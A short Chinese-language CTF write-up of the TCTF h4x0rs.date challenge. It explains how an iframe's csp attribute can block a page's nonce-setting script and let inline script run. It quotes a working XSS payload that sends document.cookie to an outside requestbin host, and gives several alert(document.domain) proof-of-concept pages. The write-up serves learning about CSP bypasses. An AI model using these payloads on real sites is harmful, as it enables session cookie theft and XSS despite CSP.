TCTF-h4x0rs.date

TCTF的题, 看到了大佬的一种解法。 学习了一下这种解法的原理。
https://gist.github.com/tyage/8d8aead76ffc4924579783d72a63419f

1
2
<script>location.href="//requestbin.fullcontact.com/15g8ko51?"+document.cookie</script>
<iframe src=/profile.php?id=c7ab51c5bdeec6bc6068d8a643a29907a1b7c71acb455454381fe7320cd5283e id=msg csp="script-src 'unsafe-inline';">

看了这个解法我才知道iframe还有个csp属性。。

把题目简化一下。

1
2
3
<head></head>
<script src='https://h4x0rs.date/assets/csp.js?id=&page=index.php'></script>
可控点aaaaa

引入的js内容, 是用来创建csp的, script-src的nonce是在变化的。

1
2
3
4
meta = document.createElement('meta');
meta.httpEquiv='Content-Security-Policy';
meta.content="script-src 'nonce-_indexphp_604b540b26cfe37756638953a26ff7f9'";
document.head.appendChild(meta);

看一下iframe的csp是干啥的

iframe elements have a csp attribute, which specifies the policy that an embedded document must agree to enforce upon itself. For example, the following HTML would load https://embedee.example.com/, and ensure that object-src ‘none’ was enforced upon it:

也就是说, 如果iframe标签中定义了csp属性的话, 加载嵌入的页面的时候会按照这个csp的规则来加载。

那么如果使用iframe来加载当前页面的话, 再定义csp为unsafe-inline,

1
<script src='https://h4x0rs.date/assets/csp.js?id=&page=index.php'></script>

这样原本页面中引入csp.js的时候就会因为csp的原因被chrome给拦截掉,
即创建script-src 的nonce就失败了。

则嵌入的页面当前csp依旧为unsafe-inline,

1
<script>alert(document.domain)</script>

就可以执行了。

1
2
3
4
<head></head>
<script src='https://h4x0rs.date/assets/csp.js?id=&page=index.php'></script>
<script>alert(document.domain)</script>
<iframe src=1.html csp="script-src 'unsafe-inline'">


如果js创建csp不是引入的外部js, 而就是在脚本内的话。

1
2
3
4
5
6
7
8
9
<head></head>
<script>
meta = document.createElement('meta');
meta.httpEquiv='Content-Security-Policy';
meta.content="script-src 'nonce-_indexphp_604b540b26cfe37756638953a26ff7f9'";
document.head.appendChild(meta);
</script>
<script src="data:,alert(document.domain)"></script>
<iframe src=1.html csp="script-src data:">

把csp改成script-src ,自己的域名, 或者data协议之类的都可以。


现在的浏览器应该暂时只有chrome支持iframe的csp属性。
并且大部分创建csp还是会在response header中来创建滴。


Reference

  1. https://gist.github.com/tyage/8d8aead76ffc4924579783d72a63419f
  2. https://w3c.github.io/webappsec-csp/embedded/